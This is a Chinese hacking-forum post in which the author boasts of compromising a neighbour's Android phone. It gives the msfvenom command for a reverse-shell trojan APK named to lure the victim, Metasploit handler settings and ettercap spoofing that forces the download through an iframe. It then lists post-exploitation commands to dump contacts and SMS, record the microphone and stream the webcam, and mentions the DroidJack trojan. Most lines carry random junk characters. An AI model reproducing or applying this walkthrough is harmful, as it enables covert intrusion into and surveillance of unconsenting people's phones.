中国网络渗透测试联盟

标题: metasploit+ettercap中间人攻击成功入侵邻居手机 [打印本页]
作者: admin    时间: 2018-10-20 20:30
标题: metasploit+ettercap中间人攻击成功入侵邻居手机

7 c% P. u! F4 }' b& } 五、msf+ettercap入侵邻居安卓手机 2 W1 t" L; q( T

! w6 N9 s; c6 `- A5 ]& t

% h; k1 f' M Z% }! J4 w% ^) D 首先启动msf ' {1 ?9 m! J" }& r

# M6 e$ [: Y9 G& x6 P' W

2 ?8 |' s. I- {4 w4 K. X: r; x6 f& M 先用kali生成一个安卓木马，如下命令： # H& Q+ S8 x1 O/ K

" O9 r; U: e* x f

$ P6 T4 j# t3 ~1 n2 s/ Q* ]- R& _ Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk . A3 x* W9 F5 a* ^) y

; Z4 S w. u8 y9 K) T9 N

9 U7 U6 @$ T- h+ h. x; z 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 / J) b2 G5 E1 m; G/ B* l% y

, N$ d& E" U# p2 k

9 n& W+ [, X+ P 然后进入msf 5 a" q& J/ ?' K# |; \" d7 y, P

* X3 Z2 `4 u( i

; X* y8 Z0 d0 `7 r use exploit/multi/handler 8 L& R$ D; }& C$ x/ k r

5 Y- B, i3 s* W( s2 X

J1 n* L, i! T set payload android/meterpreter/reverse_tcp . H- X( V a$ ~

/ d1 D5 {& |# v3 C( t$ W

4 _7 Z# b+ D: U+ B) o5 {% L( ] set LHOST 192.168.0.109 //ip为kaili的ip % E0 S8 m0 L, Z% w3 n

6 g* e( ]) }8 L. q6 M6 A0 f

# \- t. `9 [& f set LPORT 44444 //端口一定要与前面生成的木马的端口一致 ) y3 C3 d5 ^) ]/ _" F8 P! v

/ F9 b: w! \/ S4 u, h) @! _, S

) P1 V# F0 u% v- y Exploit : k4 F5 E/ ?% A/ z$ K' r

1 W8 {! I/ u$ b! t8 z2 L2 l: h

; l, ^) m, S& I2 R1 D7 }   ' m3 B; j& Z: X2 B$ _& U; c5 P

& C0 ~3 i0 _7 M3 g9 s g

6 J7 { F! G' F6 W6 O3 Q; ~ 下面我们开启ettercap -G & X0 G. L( y9 k

% p( J$ h& t6 G/ Q* x( g

+ x$ F8 h5 G2 W# d! K 我物理IP为 * e* m: I s* P0 M2 h

& w& [8 ?, } k. {& `+ `

( y0 W( A$ ^6 l5 H$ ^   1 h7 Z V7 N6 A" n. j. ^

: ]) Q: Q6 V6 ~0 G

' n# r# k' [3 B2 B+ ]# o Y 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， + ^+ ?. Z* \! m

( b' V/ x- {( Z+ [3 Y) ?

3 Z6 A2 D" e4 b ~+ L. b 下面我们来设置一下 % G% g) C& @& u+ v; O

& Z f9 r" w8 n* c; H! ~2 u

8 J) d, L% v. E. X   6 k2 B, B- |; {+ |3 b

* R& M5 q- W) Z

; n2 E$ u9 r4 \" d" i 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 4 t- R( y" i, D5 Q/ b( O' ~

: ?8 A I% z8 n& p6 J0 }

" }4 B" J' |. |& Z' [   4 N+ C1 m9 [, Z1 u+ K

7 y: Z/ @9 P- C+ a* K3 W% X. m1 I

3 }# A% \+ H& @% L! g( Y/ }3 g& N- b9 t   . h$ k$ P' D a8 j

4 x! i$ U9 ]3 W; ^/ v" s- C# U

& f5 s, N9 ?" \! x2 x: \% x5 X   3 Y5 _! r+ \* H+ {9 C3 R2 ]

! O1 _" e" Z7 g {3 h

# P$ R. Z5 i$ f2 [- G6 P/ l" Q4 n   6 O- w _$ K" {

K N7 |- P9 w; R) C: g

; ^: s3 E- C, V   & S. G, b: B( Q

. u: L3 b& W4 m- P0 F

, {; w% |% }+ a& k, r   ) o& Y# r5 ] {* L1 t

% S+ a1 ?6 ^8 N* P% \ m

9 \4 s' M1 N4 j/ F   0 z* H, }( `4 x; ^+ r2 p

% w" Q) J2 X! j1 Z. b% W; O* ^

) c8 G; ~* z: e2 {+ b [   + n3 r4 Y. U s: j+ }) Y8 H+ b

7 M$ o t1 E* z% ?6 r

5 [! q' e" W+ `9 \9 B& ~4 q& \   ' U. O) l5 T9 ? x

$ X2 }- U# W& }7 e

) B- B- y% v! u* A# ]7 A: H   " r* { ^9 l7 _# K6 m

) ^5 e8 M( B* S" Y9 [' x

: D0 N: t8 R3 B! S4 s4 o! J! i   ( M4 p* o5 ] G) ?

" |) z- X% s l# C P' b

) Y, ^- k1 x: M- R   " c6 k1 F. X1 Y' B

; s# L7 n& v3 g% v. h

, D' x E. Y z; ^   7 J( Y5 |# d4 N1 G

) W) l7 _ J3 g

" f+ m. k7 R) O y6 i, `2 d* d 下面我们开始攻击 " D* U, }/ k+ ?6 a

7 z8 q1 M& ~& V4 I, z6 a

+ p& O ~% r, C! R+ K6 K   6 P2 P, l/ ~) |+ Y% \

2 V3 a, b/ l" e% {) j

( V2 u( ], B8 u* s; G   - a& _8 E5 N i7 h

/ w: l$ b( m: M) I% I3 [# C+ @

- C2 W2 I$ d. \" ~# c" g   ) O1 W# X" {. `

5 S: G) k3 x! L. ]

% t$ E# S, W# H. [ m2 R, L   : T9 [/ ?0 F k- y

( J, {( A0 M5 R3 t1 Y) J

4 W/ k3 Z# m) K* [* d0 E& V   , c( [: m/ Q! T ^+ W9 x

# b! R4 t* ^, K. X

J4 K2 A7 M/ M2 C; a* R 大概过了5分钟多，发现反弹成功了 5 c ] B: _+ d" I+ x2 Z7 e. R

+ W \! `& I' L+ |; o

! E, D0 d( ?! V% m( y# ~   ! B2 [! {2 n9 t& E" W

! s) b$ h. I+ ~0 n" k e

9 W8 U% q, C' W8 n& h4 x# p   # Q- M( n' t2 [( X1 I/ p% ?$ \

1 O8 T- d1 V* q5 U/ [

% n9 p+ w9 \7 w; ?4 x$ I- Q   % V; f% ^% D/ b* B

) R" i5 J1 Z' P9 R* b, d ~

' w7 Y4 a Y: ~   7 v; e3 g' W. [0 P- D( [! _, Q

3 y8 W% F8 C9 K! q1 k

) l# Y; z6 I" X1 K- |1 \   & p3 u$ L: ?; O; \: m

6 q7 j1 _: P6 r/ r, R3 ^

8 G" U5 b4 t' w ?1 { e0 i9 W# k1 z   * J+ p1 N" O2 U' i! X, T

! J+ B4 L5 v3 c; L

. u( f( d; e! \; K   8 ^- ]% N: L4 z# x* q

. H6 @7 o4 D. E. p

5 a- C( J8 F4 w 执行命令 - }9 D5 K' Z% t4 V+ D' r

; ^0 ~! {0 g: |. F `

& z3 o& L9 ^; h# Z- I7 q- V, e   # h8 ^- l w3 J8 l* q' c: p

8 _/ A( w( ]" L T# Q- j9 x

, X4 E" k. E) A2 G+ X0 ?3 s dump_contacts    --》这个是导出电话 " R! y0 O. ^, x

/ E& \1 _2 \3 w" |- C

4 @/ C! d u3 V4 B7 I dump_sms --》这个是导出信息 ! w! g- J' Z2 Z$ a

3 W X: @3 U7 G& m4 w

" b( D2 X% A/ j4 z record_mic     Record audio from the default microphone for X seconds t& r. m( f' {3 D$ T

7 j0 n/ p |/ V9 d% V

. E4 `/ s5 F2 e }1 R7 ?     webcam_chat    Start a video chat " R( x! t9 ?" w" u) C6 x q" o

z0 n' ]( j$ d) d! p

) N, W+ r( H7 i2 Y     webcam_list    List webcams 3 E5 P' F! c5 H1 _: n

$ R: s) x1 h) z. S" Q4 Q

, q$ b* `6 N# O8 e     webcam_snap    Take a snapshot from the specified webcam 4 W* C: a" z( P, e+ N

T4 J+ A" r: {9 C7 N9 B' a% x% Q' t. r

* _) y2 U u. w webcam_stream  lay a video stream from the specified webcam 4 ^) o3 T' F) s% B1 B; Y, C

7 f# w( i* K: C% r% B/ K2 Q; ]( y

4 M1 Z# E1 m7 ?/ o# u   0 @8 \+ v! H: B

- K1 p5 y7 P- a1 T: D+ c

& J; P, d2 }& U( B; ^: i' F7 V, L3 R   * N; U" |1 q/ x' P9 Y

\( h( {; { u b/ F, W( z, ~

% ^4 Z/ L# H, J( G 我们打开看一下电话薄， 8 b0 B) x- b! O( @% \

, B8 K% e8 x+ J9 Q2 F q

: Z8 @- P. i. ]; x3 K+ X) z   0 ^3 g3 \ b" ~9 c7 [) A1 n5 N

0 B8 o( \/ z8 ^; Q$ T2 l8 ]

( ]/ u; o" b" }$ i6 Q+ n1 v   : v6 l5 P* L, }$ a8 l: x9 T

) ^5 s: u2 d: F9 z3 s+ [

0 x% o2 b/ l" n   $ b2 @; l: s) J+ l" d+ U

, D8 \) W0 r; [5 h/ d% t4 h E

- M& I& M( O5 g0 }   1 Z) x% C. {& ]6 j

2 D! o r4 B8 {. b) ?

: c1 z F. H, ~' J0 @" M3 I   , r8 I7 u+ ]/ @' {, W0 J

5 m$ A! |% C6 w. Y p# R( E

$ Y# a. P' m% }; Z( _   ' U! U0 ~1 T4 o: p% |& i

# M* \ x; ^2 U3 T( x

% a0 a( j; B% m: w& k9 m/ [ 我们同时欺骗成DroidJack木马，使用方法如图： % z0 N |8 r! L9 z( B& ]

( a) T" q# D4 ]$ w3 i

: E4 |9 a2 c9 l6 ?2 T! [7 G& H   - y' V0 e, H ^8 P j

$ l6 y) H# p( {4 y

! O i. B: c6 z4 s   5 K& r; m* g/ s& s

2 k: M% g, J* L0 s4 l$ M' w% r

( U/ z6 ~9 N" ]/ i. X. F* G" ~   & T# j( _' p" p/ Q; {( h: E

; Z9 c* H; }4 a* e

) C6 K7 C7 D4 f4 ^" O' F" z 切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 / S( t2 W7 o- o3 B3 h7 s! }

. j' [0 q9 e! E: @/ d

% c9 S" A5 u. N0 l. }& s   9 U- G) a% G! V8 G& I

" j7 S/ y8 W0 ?* m# Y1 ?

; G4 Z0 f5 O" T: _   ' ?( [3 c. V9 K5 O; U0 Y

& V( S- z. {( ?$ v) G* ]

4 W; @/ g# W3 H- @7 i- Z9 k7 ], X+ @. l   3 \' }$ M# j+ V6 {5 U

2 q: b) @/ o& a6 I1 K3 {! G

) Y) r, C* G' R1 J # b$ `& F$ F5 i; N4 b# _

( t2 q* Q/ w% z4 M- y

9 v/ C& v* D* V/ G+ z4 Y2 V% s
) V" q# d5 [- l. H! K





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2